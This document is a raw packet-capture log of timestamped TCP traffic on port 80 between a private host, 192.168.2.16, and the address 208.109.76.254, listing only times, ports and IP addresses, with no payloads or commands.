Apr 18, 2024 23:05:22.783488035 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.783504009 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783520937 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783535957 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783551931 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.783551931 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783704996 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.783927917 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783946037 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783988953 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784022093 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784032106 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784064054 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784157991 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784176111 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784192085 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784207106 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784224033 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784238100 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784267902 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784291983 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784308910 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784323931 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784323931 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784338951 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784347057 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784357071 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784373045 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784387112 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784389019 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784413099 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784430027 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784429073 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784446001 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784461975 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784476042 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784477949 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784493923 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784508944 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784513950 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784526110 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784539938 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784543037 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784559011 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784559965 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784574986 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784590960 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784605980 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.784615993 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784615993 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.784657001 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.821836948 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.821856976 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.821871996 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.821887970 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.821903944 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.821919918 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.821928978 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.821983099 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822069883 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822087049 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822103977 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822118998 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822137117 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822151899 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822163105 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822175026 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822190046 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822200060 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822207928 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822223902 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822240114 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822247028 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822257042 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822293043 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822304964 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822321892 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822387934 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822489977 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822506905 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822559118 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822581053 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822596073 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822613001 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822628975 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822638035 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822644949 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822660923 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822669983 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822678089 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822694063 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822700024 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822711945 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822727919 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822734118 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822743893 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822760105 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822766066 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822776079 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822798014 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822869062 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822886944 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822901964 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822911978 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822920084 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822937012 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822942019 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822953939 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822971106 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.822977066 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.822988033 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823004007 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823018074 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823018074 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823034048 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823035002 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823052883 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823069096 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823084116 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823086977 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823100090 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823112011 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823117018 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823128939 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823137045 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823153973 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823168993 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823184013 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823184967 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823209047 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.823470116 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.823513031 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.850699902 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.927603006 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927622080 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927639961 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927674055 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.927701950 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927716017 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.927720070 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927741051 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927757978 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927771091 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.927776098 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.927808046 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.927836895 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995450974 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995472908 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995537043 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995543003 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995559931 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995575905 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995592117 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995608091 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995616913 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995634079 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995645046 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995651960 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995671034 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995707035 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995709896 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995748997 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995774031 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995810032 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995826960 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995842934 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995862961 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995879889 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995897055 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995898962 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995898962 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995898962 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995914936 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995924950 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995944023 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.995982885 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.995990038 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996001005 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996017933 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996028900 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996032953 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996048927 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996062040 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996064901 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996081114 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996095896 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996097088 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996123075 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996135950 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996141911 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996159077 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996175051 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996191978 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996203899 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996203899 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996206999 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996223927 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996239901 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996242046 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996254921 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996273994 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996289015 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996294022 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996304035 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996314049 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.996320963 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996335983 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.996371031 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.046354055 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.071790934 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.071851969 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.139672995 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139744997 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139760971 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139776945 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139794111 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139808893 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139811993 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.139852047 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.139852047 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.139957905 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139976025 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.139991999 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140007019 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140022993 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140023947 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140039921 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140052080 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140054941 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140069962 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140081882 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140085936 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140111923 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140119076 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140130043 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140146971 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140165091 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140168905 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140185118 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140197992 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140199900 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140216112 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140222073 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140230894 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140245914 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140261889 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140270948 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140276909 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140300989 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140336990 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140341997 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140583992 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140599966 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140614986 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140633106 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140635967 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140647888 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140664101 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140666962 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140680075 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140685081 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140696049 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140713930 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.140717030 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.140743017 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.190380096 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.237385035 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.283874035 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.283893108 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.283906937 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.283978939 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284204960 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284245968 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284271955 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284285069 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284297943 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284332037 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284373045 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284385920 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284396887 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284409046 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284420967 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284427881 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284456968 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284476042 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284476042 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284490108 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284502029 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284513950 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284524918 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284537077 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284548998 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284549952 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284563065 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284579992 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284609079 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284651995 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284666061 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284677029 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284688950 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284699917 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284713030 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284723997 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284723997 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284735918 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284749031 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284753084 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284759998 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284771919 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284784079 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284795046 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284797907 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284797907 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284806013 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284818888 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284828901 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284828901 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284841061 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284852982 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284862995 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284866095 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284878016 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284882069 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284888983 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284900904 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284903049 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284914017 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284924984 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284935951 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284936905 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284946918 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284955978 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284960032 CEST	80	49733	208.109.76.254	192.168.2.16
